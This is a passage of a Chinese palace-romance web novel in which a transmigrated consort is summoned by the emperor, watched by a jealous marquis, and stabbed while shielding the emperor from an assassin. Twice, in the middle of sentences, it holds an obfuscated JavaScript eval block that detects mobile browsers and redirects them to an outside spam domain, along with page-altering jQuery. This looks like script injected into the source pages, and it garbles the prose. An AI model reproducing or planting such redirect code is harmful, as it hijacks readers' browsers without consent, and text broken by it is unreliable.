“小姐,究竟是出什么事了?”流霜说,“那王司膳本来年纪也不小了,再加上在她们局里人缘也不好,自从中秋宴会上她做了那样的事以后,就被打发出宫,算是告老还乡了!” 恰好在这个时候告老还乡?云昭昭皱了皱眉头。 不过想到王司膳,她越发肯定了自己之前的那个猜测。 逐月也正是因为无意中获得了这份圣鸾宫膳事记录,发现了其中“芦根水”的秘密,才得以用它作为威胁,让王司膳替自己做事的。 这样一来,她之前曾疑惑过的太后的态度也有了合情合理的解释。 太后很明显是知道背后真相的人,虽然不知她是何时得知的,但也正是因为她知道周徵才是昭文皇后诞下的那个孩子,所以才对他有着异乎寻常的关心。 再没有什么比真相更让人觉得荒谬的了。 本应是承天命所生的天之骄子,却以为自己是苟且偷生的罪臣后代,身上背负着数不清的血债,甘愿为人刀俎,以鹰犬自居。 命运,或许永远喜欢显摆它的力量与特权,总是这般造化弄人。 云昭昭冷笑一声。 她终于得知了这个尘封多年的宫闱辛秘,一时在震惊中难以自拔,还没想好将来该怎样面对周徵。这时,就见宫女匆匆来报,说是司礼监的汪海来了。 汪海?他来做什么? 云昭昭一下子被拽回到了现实。 汪海如今升了司礼监秉笔,加上其干爹汪厚也有了隐退之意,汪海便成了如今在赵昶跟前伺候的人。 云昭昭想得清楚,也看得明白。 汪海对于自己这个贵妃也就只有在当初她入宫的路上战战兢兢,有几分殷勤,后来发现她并不得宠后,便立马换了副嘴脸,更别提如今此人在宫里混得更加如鱼得水了。 所以今日他来昭阳殿,一定是奉了自己主子的命令。 总之,赵昶能让人来找自己,准不可能是什么好事。 正想着,就见汪海手持拂尘,满面春风,笑意盈盈地走进花厅,殷勤地作了一个揖,一如当初在她的坐辇旁那样。 “恭喜贵妃,贺喜贵妃,陛下今日翻了您的牌子。” 他说完,不止云昭昭本人震惊不已,就连整个昭阳殿内都瞬间鸦雀无声。 流霜本来正坐在不远处缝制着一个装汤婆子的绸带,听到汪海的话,连针头都没有完全穿过布料,就停下了动作。 玉绯端着一盘冬枣进来,听见皇上要来,也呆呆地停在了原地。 外头洒扫的宫女,匆忙经过的小太监,给雀儿喂食的嬷嬷,也都像给人点了穴一样,听了下来。 但这不约不同的动作下,各人却有各人的心思。 流霜知道云昭昭如今不喜赵昶,且她自从云昭昭从诏狱回来后,就错误地理解了她与周徵二人的关系,因此,她听到这个侍寝的消息,着实有些发愁,替自家小姐狠狠捏了一把汗。 而其余的下人们更多的则是高兴。宫里向来是水往低处流,人往高处走,之前昭阳殿长期的备受冷落,让他们在宫里也总是遭人眼色,但现在好了。陛下既然会在这个时候翻云贵妃的牌子,那么有了第一次,就会有第二次,说不定风水轮流转,昨天是易常在最受宠,今天是荣嫔最受宠,到了明天就轮到了自己的主子最受宠了呢! “贵妃娘娘,贵妃娘娘!” 汪海见云昭昭愣着没有反应,赶紧小声提醒,随后又清了清嗓子,拿腔捏调地宣布: “请娘娘提前准备着,陛下特点了今天要在昭阳殿用晚膳,娘娘有什么喜欢的,只管告诉奴才,让尚食局做去。” 眼下由不得她说半个不字,云昭昭只得强装欢笑地领旨谢恩,随口报了几个菜名。 她还未从周徵与赵昶的身世秘密中回过神来,就又要面对其中另一个当事人。 更要命的是,她派出去找周徵的小卓子,到现在都没有回来,不知是遇上了什么变故。 窗棂外,夜幕渐落。 寒雾正悄然扩散,黑暗张开了大口,露出了天空惨白如獠牙的月亮,似要吞没这重重宫阙。 走廊上的宫灯被夜风掀得明明灭灭,把飞檐上鎏金的脊兽映得忽明忽灭。阶砖缝隙中的枯草上已凝结了白霜,几株老桂树的枝丫光秃秃的,灰色的影子在朱红宫墙上像是张牙舞爪的鬼魅,就连那负责打更的太监手中的梆子声都在风的呜呜声中透着几分晦涩。 云昭昭不知为何,心里总有种毛毛的感觉。 与深宫里无数个冷夜相比,今晚的夜似乎没什么不同,只是更凄清,更窒闷,也更加寂静。 只是这寂静之下,又似乎在酝酿着什么波诡云谲的暗流。 之后便是宫里侍寝前例行的沐浴,负责的宫女一副喜上眉梢的模样,一边给浴桶中添着花瓣,一边说着吉利的恭维话。 云昭昭敷衍地笑笑。 多讽刺啊! 阖宫上下的欢喜劲儿仿佛都是为了衬托她这个正主的悲凉。 她轻轻地将水拢到身上,手指捻起桶中漂浮的花瓣,将它们一片一片地掐碎。 赵昶年轻,英俊,身材颀长,可她的心情却与在醉仙楼面对波斯珠宝商时没什么区别,甚至更为忐忑不安。 那时她尚且可以拼命地反抗,就算弄伤了人,戳瞎了眼,如今仍能安然无恙地呆在宫里。 可赵昶不一样,他是九五之尊,别说反抗了,只要她稍不符合他的心意,遭殃的不仅是她,更有为她打点一切,对她日夜挂怀的云琛夫妇。 洗完澡,云昭昭像个木偶般僵硬地等候女官为自己穿戴打扮,换上事先准备好的华服。铜镜中,满身的绫罗灿若霞光,一头的金饰明似金乌,只有那张艳丽无双的脸,在熠熠华光中,苍白得没有一丝血色,嘴唇也紧绷,显得了无生气。 不一会儿,外面便传来汪海的高声通报:“陛下驾到。” 随后,一身明黄的赵昶信步进入昭阳殿,边走边啧啧称奇道:“朕听闻贵妃从小娇养,可这昭阳殿里雅是雅,未免也太素了些。” 云昭昭僵硬地撇撇嘴,跟在他身后道:“在家里是在家里,在宫里是在宫里。臣妾小时候不懂事,只喜欢些金的玉的,如今才知庸俗。” “哦?”赵昶回头,锐利而赤1裸的目光落在云昭昭身上,“贵妃既倾心于朕,嫁予朕为妃,这宫里便是你的家。还是说,贵妃从未将这里当成你的家?” 这话便是试探了,稍不注意,便会引火上身。 云昭昭想了想,轻声道:“陛下误会了,正是因为臣妾将陛下视为夫君,才改了先前的性子。陛下是难得的英主,臣妾也勉强暂算得后宫表率,若是再一味地铺张奢靡,恐有辱陛下的英明。” 这番话说得可谓虚伪至极,云昭昭都自觉十分恶心。但赵昶却很是受用,他突然牵起云昭昭的手,指腹轻轻地摩挲过她的掌心,另一只手则似乎很是亲密地,放在她的腰上。 云昭昭被他猝不及防的动作吓得打了个寒颤,赵昶敏锐地捕捉到她的变化,眉头一皱,不悦道:“你在嫌弃朕?还是说,你身上有什么朕不得的?” “臣妾不敢。”云昭昭赶紧找补,“臣妾只是……只是长这么大,从未……从未这么亲密地接触过男子,陛下是九五之尊,臣妾敬您,爱您,陛下突然这样,让臣妾有些紧张罢了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260356|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这话说得她自己都一阵恶寒,但她看过原著再清楚不过,赵昶这人就吃这套。 果然,赵昶听完表情缓和了几分,看着她似笑非笑道:“朕跟爱妃开个玩笑而已,女子初经人事就没有不紧张的,若是不紧张了,那就说明这女子不管是心还是身子,总有一样不干净了。还好,朕的爱妃还是干干净净的。” 他的语气里是赤裸裸的自负,带着对女子的轻慢,要不是有那张俊脸,他简直就跟云昭昭在现代见过的那些看不起女人的普信男如出一辙。 可就算他长得再好,能说出这样的话,也显得那周正的五官看起来油腻了不少。 甚至他说完,还牵起云昭昭的手,低下头亲了亲。 “陛下说的是。”云昭昭忍着恶心,撑着一副笑眯眯地模样附和道。 她跟在赵昶身边,脸上始终挂着得体的笑容,任由赵昶挽着自己的手一同步入正殿,尚食局已在餐桌上摆满了珍馐佳肴,无论是色香味都无可挑剔。 望着一桌美食,云昭昭却半点没有胃口,甚至胃里还翻江倒海的。 更别说之后还要与这个男人进行身体的接触,这更让她一阵恶寒,他一身明黄的龙袍在她眼里与那衣衫褴褛的流浪汉没有任何区别。 她真觉得今日自己在这儿受的罪,就是对她过去高考前还沉迷玛丽苏霸道总裁文的惩罚。 · 夜色渐渐深沉,一弯弦月在几重乌云的缝隙中漏出惨白的光。 眼瞅着时辰越来越晚,眼看着就要到宫禁时间了,小卓子也有些急了,亦步亦趋地跟在前面那个满身酒气的男人身后。 “我说侯爷呀,娘娘特地将这珍贵的出宫令牌给奴才,让奴才来寻您,是真的有要紧的事啊!” 小卓子觉得自己今天真是倒大霉了,本以为主子只是将找人这么简单的事儿交给了自己,却没想到这一去就是整整大半天。 从日照中天,到日落西山,从宫外的武安侯府又跑回养心殿,再到四大营,甚至连锦衣卫那边他都大着胆子去问了,他跑得气喘吁吁,满头大汗,双腿都快要断了,可还是不见周徵的身影。 小卓子没辙,最后只好抱着破罐子破摔的心态,也不走,只等在武安侯府的门口,宫禁前能堵到周徵就堵,没堵到那也只能两手空空回宫跟主子复命,反正他已经尽力了。 还好功夫不负有心人,就在他坐在侯府门口的石墩子上,啃着路边摊买来的胡饼时,终于瞧见周徵步履虚浮地回了府。 他一身酒气,显然是在不知哪个酒楼喝过一场,一身热汗,胡子拉茬,那模样一点也不像身份贵重的侯爵,反而像个落魄的江湖刀客。 小卓子赶紧上去表明了来意,不想直接就遭了拒绝。 他好说歹说,可周徵却偏偏不领情,眼瞅着要吃闭门羹,他只好说:“我们娘娘今日去拜访了各宫的娘娘,一回到殿内,连水都没喝一口,坐都没坐一下,就吩咐奴才来找你,一定是有很要紧的事了!” “我才不去!”周徵有些口齿不清道,“她今晚要陪陛下,陪陛下!我舔着脸去干什么!” 小卓子实在不想废了大半天的工夫最后白来一趟,只好胡乱地哄道:“什么陪陛下,根本没有的事!我们昭阳殿冷了这么久了,陛下才不可能来呢!陛下要是能来昭阳殿,我小卓子不仅这辈子当太监,下辈子,下下辈子也活该当太监!” “你……你胡说!”周徵瞪了小卓子一眼,结结巴巴道,“就算、就算不是陛下……那、那她干嘛不去找她那相好……姓、姓薛的!” “姓薛的?” “是是御马监……提督薛炼!”周徵恶狠狠地道。 小卓子一听顿感不好,自己好像知道了什么不得了的事。 不过这御马监提督薛炼,他不也跟自己一样,是个太监吗? 巷子里的更夫敲着梆子走过,马上就要到宫禁的时间了,小卓子再也顾不上许多,拍着胸脯道:“我的侯爷啊,那薛提督哪像侯爷在娘娘心里这般重要呀,这不,娘娘遇到要事,第一时间就是找您啊!” 周徵一听,脸色果然好了许多,他有些不自信地问道:“是、是真的?” 小卓子只好连声称是,又见机连哄带骗地将周徵带到了宫门口,总算也是赶上了宫禁前入了宫门,反正这武安侯似乎也喝醉了。醉酒的人哪能记得自己说了什么? 二人很快便乘着夜色赶到了昭阳殿后门外,却正好撞见平时在养心殿伺候的一群人,包括汪海在内,如今都在朝阳殿内侍立着。 周徵恨恨地看着对自己撒了谎的小卓子,想借着酒劲儿狠狠地发泄一通怒火。 但就在这时,多年的职业习惯令他敏锐地注意到了院子里灌木丛中的几声轻响。 只见一个身着夜行衣的娇小身影,从灌木中悄悄现身,她的手上,正握着一把寒光乍现的匕首。 周徵脑子里嗡地一声响,原本的酒意立马消逝地无影无踪。 他按住吓得脸色发白的小卓子,示意他呆在原地,不要轻举妄动,自己则紧紧握住身侧佩刀的刀柄,悄无声息地跟了上去。 70. 情劫 虽然云昭昭并非像易琉璃那般对美食有出奇的热情,但她穿书前一个人在外地生活的时候,也喜欢看些美食视频,自诩做饭的手艺也不错。 可如今与赵昶面对面坐着,哪怕面前是满桌玉食珍馐,也只觉得味同嚼蜡。 云昭昭强打起精神,每道菜都尝了尝,可还是觉得没什么滋味。她不懂声色地撇撇嘴,放下了筷子。 “怎么,尚食局的菜不合贵妃的胃口?” 赵昶停下筷子,冷不丁地开口,看向云昭昭的目光锐利得像是带着钩子,又带着几分阴骘的玩味之意,仿佛在看自己囊中的一只待宰的猎物。 云昭昭虚弱地笑笑,喝了一口尚食局特酿的秋露白,酒味清冽有余,滋味却平平淡淡。 “臣妾这几日卧病在床,身子还有些不适,口味淡了些。”云昭昭说着,突然像溺水之人抓住一缕浮萍般,借口道:“陛下,臣妾的风寒虽已好了不少,可终究未痊愈。陛下龙体贵重……臣妾唯连累了陛下……” 结果赵昶干脆地碾碎了云昭昭的希望。 “不妨事,朕身为九五之尊,自有龙气护体,一点小小的风寒算得了什么。”说到这里他扬了扬眉,戏谑道:“说不定,经过与朕今夜的春风一度,受朕的龙气影响,爱妃的身子很快就大好了呢。” 他这一番话说得油腻不已,也让云昭昭清楚,今晚他是非要让她侍寝不可了,这让她本就没装什么东西的胃里直犯抽搐。饥饿混合着恶心,搅弄着胃里的酸水,令她难受不已。 不得已,云昭昭只好草草地就近挑了些事物往嘴里塞,边塞边在心中腹诽:你个冒牌货,可有什么龙气,怕是只有晦气吧…… 这“冒牌货”一词从脑海里一蹦出来,云昭昭立刻想到了之前留存的一些疑问。 索性赵昶就在这里,不正好可以试探一下他?看他是否已经知道了有关他与周徵身世的秘密。 一不做,二不休,云昭昭以风卷残云般的速度勉强满足了自己的胃,然后起身,走至赵昶跟前,挽起袖子,面上挂着恰到好处的得体微笑,开始主动伺候赵昶用膳。 作为一个穿书前在职场“叱咤风云”多年的资深卷王,各种酒局自然是少不了的。 而且现代的饭局只要是有领导的在场,那必定是受封建糟粕荼毒最深的场合。 作为深受其害的打工人,云昭昭在伺候领导吃饭这件事上已经修炼得可谓炉火纯青,游刃有余。 她让人拿了一双干净地筷子,殷勤地替赵昶夹菜。 热腾腾的佛跳墙是要吹温的,白嫩莹润的鱼肉是细细地将小刺挑净了的,炙烤的鹿肉是将多余的油脂涮掉的…… 她做得细心,白皙似嫩葱般的纤纤手指做出的一举一动如行云流水,令人赏心悦目。 这是她过去不知道踩了多少雷,挨了多少骂才养成的细致入微。 这也是她一个背井离乡、无依无靠的年轻女孩,在大都市为了出人头地所付出的血与泪。 但在在场的其他人看来,她的这番举动却完完全全地变成了另外一回事。 昭阳殿内一众宫女太监对自家主子善于抓住机会暗自窃喜,他们的苦日子终于要熬到头了,看看到时候什么司设监、尚宫局里的那帮人还敢不敢再踩高捧低!三十年河东,三十年河西,轮到他们扬眉吐气的时候到了! 而在场侍奉的养心殿,尚食局的人则已经见怪不怪了。 云昭昭的无微不至,还不是因为好不容易才等来了侍寝的机会,她自然是要无所不用其极地抓牢这一点来之不易的帝王恩宠。所以就算是从小养尊处优,嚣张跋扈的云贵妃又如何?还不是要低下头来俯首帖耳,讨好邀宠?想想他们这些整日在御前伺候的人,虽然是奴才,但好歹能天天见到圣颜,到底是比那些所谓的主子要高上一头的。 此时殿中所有人的注意力都很自然地放在了赵昶与云昭昭二人身上,谁也不知道,他们的一举一动,都被栖身在屋顶的周徵,看得一清二楚。 自然,云昭昭亲自侍奉赵昶用膳,也被周徵看在了眼里。 那无微不至的体贴,那似水如兰的柔情,那低眉垂眸的恭顺…… 让他的眼里、心里仿佛被针扎一般刺痛,也让他一时间将云氏千金身上起死回生的谜团抛却在了脑后。 果然,她就是如传闻那般,一开始就是喜欢陛下的吧…… 周徵的脑海里此时此刻只有这一个念头。 否则倔强如她,骄傲如她,洒脱如她……又怎会心甘情愿地放弃父母的庇护,不顾一切地入宫,与其他女子分享同一个男人? 他趴在屋顶上,扒开一小片琉璃瓦,像个躲在阴暗角落里的可怜偷窥者一样,只能眼睁睁地看着。 很快,他听见下方云昭昭对赵昶说:“陛下,臣妾前段时间在御花园中散步时,曾经过一处泉眼,一问才知那就是传说中的‘照影池’,臣妾少时就听闻陛下生母昭文皇后的美名,如今见了这小小池塘,也算亲眼见证了先帝对皇后的思念,臣妾当真为他们帝后二人的伉俪深情感动不已。” 她这番话可谓是说者无心,但听者有意,一众太监宫女都面面相觑,缄默地不敢言语。 只见赵昶也似笑非笑地看着她,问道:“贵妃这么说,难道是在向朕暗示什么?你也希望同朕,像父皇与母后那般吗?” 云昭昭立刻回答:“臣妾不敢,臣妾自知与昭文皇后有云泥之别,不敢擅自作比拟,只是心中仰慕羡艳皇后,便口不择言了,请陛下恕罪……” “你倒是有几分自觉。” 赵昶说到此处,似乎也被云昭昭挑动了情绪,言语中带着几分怀念。 “朕的母后,论才情样貌,论品性胸怀,无一不是这世间最好的女人,”赵昶语气突然发狠起来,眼圈微红,“可惜再好,还不是早早地去了,也不妨碍朕的父皇在她走后另娶后宫三千……” “人都走了,那所谓的深情与追思,又有何用呢?”赵昶想了一会儿,突然说道。 殿内的餐桌前,云昭昭闻言停下了手中的动作。 迟来的深情比草贱,这是第一次她无比认同赵昶所说的话。 况且,看他提到昭文皇后时的神情,并不像是惺惺作态,说不定,赵昶还并不清楚自己与周徵的身世。 于是,她无比认同地说:“陛下的母后确实是世间最当得起母仪天下的人,论胸怀气度,她不仅对后宫其他嫔妃友善相待,前武安侯夫妇论罪当诛九族,但她还能求着先帝放他们的儿子一命……” 她似是无意地将话头引向了周徵身上。 谁知赵昶冷哼一声,道:“母后也是念着自己与武安侯夫人林氏的一点情谊罢了。那周嵘夫妇为了一己之私欺君背主,死有余辜。若是换成朕,对这样的事绝不姑息,只是可惜了明彰,若没有这样的父母,说不定也是个可担大任的栋梁之才。” 果然,对这个男人的印象改观只能维持一秒,不过云昭昭也更加肯定了自己的猜测。以赵昶这样刚愎自负的性格,若是早就知道了自己只不过是“狸猫换太子”典故里的那只“狸猫”,肯定一早就会想办法对周徵下手。 谁料,她片刻间的沉思被赵昶敏锐地捕捉到,令他一下子起了疑心。 “贵妃可知,朕最近听到了一些言论。” 赵昶顿了顿,目光如炬,“听说贵妃与明彰走得甚近,本来朕还奇怪为何上次在慈宁宫,明彰言语中对你多有维护之意,现在结合这些言论,倒也说得通了。” 云昭昭心里顿时咯噔一下,面上却依旧笑意盈盈。她朝着赵昶身侧又靠近了些,为他斟了一杯秋露白,带着七分柔情缱绻,与三份委屈地问:“陛下从哪里听来的风言风语?” “不过是奴才们平时嘴碎罢了。”赵昶莞尔,接过云昭昭的酒,指尖不动声色地在她光滑的手背上轻轻一滑。 “宫里奴才们讨论的事,也是从别处听来的,哪有空穴来风的道理呢?” 云昭昭被他碰得后背一凉,再听他话里的意思,额间已冒出了细细的薄汗。 她想了想,直接咚地一声跪在地上,眸中带着委屈与气恼,表情像是吃了苍蝇般难看。 “陛下,这简直是无稽之谈。臣妾与武安侯向来互相看不顺眼,您也是见过的,况且,臣妾与武安侯之间本就没有一丝一毫的瓜葛,这,这让臣妾如何解释?” 说到这里她一副恍然大悟的表情,“臣妾知道了……定是有些人想故意挑拨陛下与武安侯的君臣关系,才放出这些风言风语……污了臣妾的名节倒是不重要,但因为臣妾让陛下与忠臣之间生了嫌隙的话,那臣妾就真真是罪该万死了!” 赵昶俯视着她,低低地笑了起来。 “爱妃所言当真?可朕怎么听说昨日上午你与武安侯同时出现在了殿外。” 云昭昭跪在地上,只觉得背上又多了几分凉意。 不过那天昭阳殿外确实聚集很多人,就连汪海也在场,赵昶听说了也不足为奇。 她只好一字一顿,颇有些咬牙切齿地说:“自然是真。臣妾跟武安侯乃是在太后处偶遇的,臣妾当真与他,没有一丝一毫的瓜葛。” 她故意着重强调了“当真”、“一丝一毫”等字眼儿,好像被那背后乱打小报告之人气得不轻。 赵昶果然就此作罢,甚至亲自屈尊降贵地扶她起身,“爱妃多虑了,朕也就是随便问问。” 云昭昭一脸受宠若惊的模样,心里却凉得可怕。 方才短短不到半炷香的工夫里,她就像是在万丈悬崖边走了一遭,甚至脚下踩着的石头都已经松动滚落,而她却被风侥幸推回了安全之地,但回头一望,那看不到底的深渊好似长着血盆大口的凶兽,滚落的石头过了许久才从谷底传来回响。 而另外一个比她还要心凉的人,此刻正孤独地依靠在屋顶的垂脊上。 屋外,惨淡的月亮是寒光逼人,卷着沙尘的夜风是砭人肌骨的,周身萦绕的酒气是凛冽刺鼻的…… 今日在养心殿里,听到赵昶说要招云昭昭侍寝时,周徵便觉得心里像是堵了一块大石头一般。 以至于在五军营里呆了一下午,这种闷闷的,难以喘气的感觉不仅没有丝毫好转,反而愈演愈烈。 一向克制的他,难得地前往京城的酒楼中要了两坛最烈的女儿红,烈酒入喉,直到醉意涌上心口,才将心里那块石头融化。 真真是应了古人那句“酒入愁肠,化作相思泪。” 而刚才,在听到那句“臣妾同武安侯没有一丝一毫的瓜葛”从云昭昭的口中说出时,周徵顿觉心尖一颤。 那种感觉,就像…… 是在数九寒天里被人兜头浇下一盆冰水,寒意霎时间刺透骨髓,连五脏六腑都冻得僵住了,心里却被按在烧得滚烫的烙铁上,尤其心尖处是灼人的炙烤,是浇不灭的火焰…… 他活了二十几年,从父母去世后,栖身于宫里时,便刻意地与人保持着距离,刻意让自己成为冷血的兵器,从此不再有一丝一毫的牵绊。 他以为这样便能彻底逃开世俗的羁绊,以为这样便能避免堕入情网。 可情之一字,偏生最是世间造化弄人之物。 它不知所起,却一往而深。 等意识到时,早已经病入膏肓,药石罔救了。 而那人,偏偏是自己所追随的君主的女人,偏偏又是云家的千金。 很快,赵昶用完了晚膳,鱼贯而入的宫人们将残羹冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273812|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炙撤下,随后,有专人进来点灯,添香,层层叠叠的帘帐被放下,金红色的烛光恍若回到了永麟殿的那一夜。 殿内,灯影摇曳,旖旎缱绻,殿外,黑云滚滚,寒风瑟瑟。 周徵伸着冻得僵直的手指,轻轻地将那块被掀开的琉璃瓦盖回了原处。 他麻木地闭上眼,身下的昭阳殿内很快便传来女子克制的娇咤,与男子粗重的喘息。 他不自觉地想到了在醉仙楼的那一晚,那是他碰一下都觉得玷污了的身躯…… 从小到大,他作为赵昶的陪读,因为念着昭文皇后的恩典,他凡事都会让着赵昶。 比如先帝请了太傅在重华宫教授学问的时候,他只是陪读,便只能铺一张地毯,坐在角落里旁听。可很多时候,先生看了他们二人作的文章,却总会夸他融会贯通,一点就透。 久而久之,赵昶便不大乐意了。毕竟他可是承天命所生的天之骄子,大周的未来和希望都在他身上,怎能轻易地被自己这罪臣之子比下去? 所以后来,每到学新知识、作文章时,他都刻意藏拙,胡乱地写满整张纸,让人以为自己曾经的惊艳只是昙花一现。 又比如说,先帝曾请了禁军和龙武卫中最出色的将军,为他们二人教授武艺。到了第二年,上巳节比武狩猎时,他已能在数百米外弦无虚发,而赵昶却十次总有两三次射偏。可谁让他是万众瞩目的太子呢,怎能被自己这小小陪读遮蔽了光芒。 所以每一次的上巳节,他都刻意在自己的那张弓上做了手脚,最后成绩在一种贵族子弟中虽不至于垫底,也仍旧排在中下。 他已经习惯了让着赵昶,习惯了在他身边低眉顺耳,俯首称臣,习惯了接受他的脾气与打骂…… 所以这一次,他就也应该理所应当地让着他吗? 想到这里,周徵陡然睁开双眼。 许是闭得太久,让他的眼睛对光格外地敏感。 于是,他清晰地看见,之前他一路跟随至殿中的那名黑衣刺客,此时已在他闭眼的间隙中,悄无声息地来到了殿外,正趴在正殿右后侧的窗前,准备欺身而入。 · 而与此同时,殿内,赵昶已脱得只剩内里的亵衣,精壮的胳膊半裸在外,带着不容抗拒的霸道与凶狠。 云昭昭捂着自己身上仅剩的一件肚兜,缩瑟在床边,看上去楚楚可怜。 她很清楚,一旦让赵昶瞧见自己小腹上的伤痕,那她这三日出宫的遭遇恐怕就再也瞒不住了,刚才好不容易打消了赵昶的疑虑,便会在顷刻间付之东流。 紧要关头,她突然灵机一动。 直接告诉赵昶自己小腹处有丑陋的胎记,恐污了陛下的眼不久好了吗。 她正要开口,却见眼前寒光一闪,随着一道凌厉的刀光,一个身材娇小,戴着遮面,身着夜行衣的刺客如鬼魅般出现在榻前。 随着一道劲风吹过,那尖利的匕首便向着赵昶刺去。 好在赵昶也算是有几分功夫在身的,加之对方是名个头偏小的女子,他一个翻身,很快便躲过了她的攻势。 接着对方像是不罢休般,只盯着赵昶就刺,赵昶仓促间踉跄几步,一边啪地一下打落烛台,一边几近咆哮地吼道:“都是废物吗?!来人!有刺客!有刺客!” 他话音刚落,那名女刺客便再次欺身而上,手中的短匕首也像是长了眼一样,角度越来越刁钻地进行着攻击。 云昭昭原本吓得懵了,然而借着烛光,她忽然注意到了那名刺客唯一裸1露在外的一双眼睛。 几乎是一瞬间,她就确定了对方是汀雪。 而那双曾经柔和的杏眼,如今里面只有凶狠与恶毒,让她觉得陌生不已。 正在这时,因为寝殿内的动静和赵昶的吼声,外面的宫人,乃至附近守备的禁军,全都闻声而来。 不过最先出现在这里的,居然是周徵。 赵昶已经被今晚的变故弄得烦躁不堪,此刻他也顾不上许多,直接近乎怒吼着命令周徵道:“明彰!给朕拿下此人!” “是。” 周徵冷厉的声音让云昭昭脑子瞬间清醒了过来,她试图在这危急之际,理出一点头绪来。 先是汀雪为什么会突然刺杀赵昶? 问出这个问题后她立刻意识到,选在昭阳殿刺杀或许不是巧合,而是对方处心积虑的毒计。 甚至,无论汀雪的刺杀成与不成,她作为昭阳殿的主位,内阁首辅云琛的女儿,都有可能被视作是云党的手笔。 她想起先前霍婕妤所说的,父亲在军中的一些部下,正筹划着要刺杀赵昶。 霍婕妤都听说的事,赵昶那么密不透风的情报网更是不可能不知。 如果这样,云家岂不是要背上万劫不复的罪名? 而本就和自己不清不楚,受赵昶怀疑的周徵在这时出现在这里,岂不是也要受牵连? 说时迟,那时快,汀雪似乎早已料到会有这种结果一般,只听她轻轻一声冷笑,随后,她便像是做出了必死的决心一般,迎着周徵的刀光,全力向赵昶身上刺去。 那一瞬间,无数个念头宛若走马灯一般闪过云昭昭的脑海…… 接着,她猛然一下起身,拼着吃奶的力气,一下子挡在赵昶面前。 “哗”的一声。 是利器刺入血肉的声响。 只见汀雪那把银白锋利的匕首,正不偏不倚地插入了云昭昭的小腹中。 鲜血飞溅,很快便如泉涌一般,打湿了她单薄的衣衫,在她的身体下洇成小小一潭。 云昭昭的眼前渐渐失色。 失去意识前,她看到了周徵几近崩溃的表情,她便撑着最后一丝力气,朝他粲然一笑。 71. 梦魇 (观前温馨提示,这一章可能高虐,觉得自己看不了的宝们建议跳到最后薛炼和流霜的对话那里,然后等着下一卷就好,啵啵~) 云昭昭不知道自己睡了多久。 再睁眼时,周围是与记忆中一模一样的屋子,因为是国企分配的老旧职工房,所以两室一厅的布局在当下看来显得些许局促,桃花心木的家具那还是云昭昭父母结婚时置办的一整套,如今棱角处已起了些毛边。 进门的玄关台面擦得一尘不染,水泥糊的地板拖得锃亮,客厅电视柜下放置的杂物被整整齐齐地摆着…… 一看就知道房子的女主人是个勤快的人——那个年代绝大多数家庭还是女人负责家务。 云昭昭在客厅里转了几圈,有些狭仄的屋子里处处皆是值得怀念的点滴,暖绒绒的阳光洒满整个空间,也将她包裹了起来,如同家人的怀抱,让她鼻子有些发酸。 进门左边第一间便是家里的厨房,妈妈围了一条洗得有些发黄的围裙,正专注地片着一条鳜鱼,一旁的灶台上炖着云昭昭爱吃的酸萝卜海带老鸭汤,旁边另一只锅里盛满辣卤,里面卤着剩余的鸭货,这是云昭昭的最爱,卤得软烂的鸭脚与连骨头都吸满汤汁的鸭脖,让人还未吃进嘴就味蕾萌动。 而厨房对面的主卧里,爸爸穿了一件白色的背心,大汗淋漓地在修理主卧里的电视。 那台电视印象中还是在云昭昭上小学的时候买的,用了很多年,后来客厅换了新的四十寸电视,那台老的就放在了爸爸妈妈睡的主卧中。但这毕竟是十多年的老家伙了,所以时不时就报废一下,只能等着爸爸下班回来把它“收拾”好。 云昭昭安静地站在屋里,她不敢打扰爸爸妈妈,也不敢开口,生怕自己一张嘴就打破了家里现在的温馨与宁静。 毕竟从她高考后离开家,到现在已有七八年的光景了。这么些年没见,爸爸还有妈妈的头发都白了不少。 也许是人上了年纪,心态也会变得更加平和,云昭昭觉得爸爸和妈妈现在日子虽然平淡,但比当初要过得幸福多了。 要知道,这样的温馨场景过去只有在二人少数没有吵架的间隙中才会出现。 眼睛越来越酸,甚至恨不得现在就扑上去在妈妈跟前大哭一场。 她吸了吸鼻子,忍着想哭的冲动,冲着忙着片鱼的妈妈哽咽着叫了一声:“妈!我回来了。” 她的声音虽然不大,但在安静得只有锅炉上咕噜咕噜炖煮声的屋子里显得格外响亮。 然而妈妈却像是耳背似的,没有回头,依然低头片着手中的鱼。 云昭昭便又更大声地叫了一声“妈”。 可这次,妈妈依然没有听见,甚至将鱼改了刀花后又开始切葱姜蒜。 她终于意识到了什么,回头看向爸爸,结果爸爸也在埋头修理着旧电视,对她的声音置若罔闻。 这时,妈妈终于转过了身。 可她却像看不见云昭昭一样,目光直接穿过她的身体,停在了做活的爸爸身上。 “我说老云啊,别顾着修你旧电视了,十多年的东西了,该卖废品就卖了,又不是买不起新的。” 爸爸闻言抬了下头,目光同样穿过云昭昭,仿佛将她当成了一团空气。 “再修修,马上就弄好了,就只差一点儿了。” 妈妈有些不耐烦了,既心疼又好笑地说:“俗话说得好,‘旧的不去,新的不来’,人家都愿意买新的,就你把这旧东西当个宝贝疙瘩。” 她这么一说,让云昭昭心头莫名有些不是滋味。 妈妈很快又接着说:“快点弄完了收拾收拾,好好洗手去,瞧你弄得一身灰,待会儿凯凯就要放学回来了。” 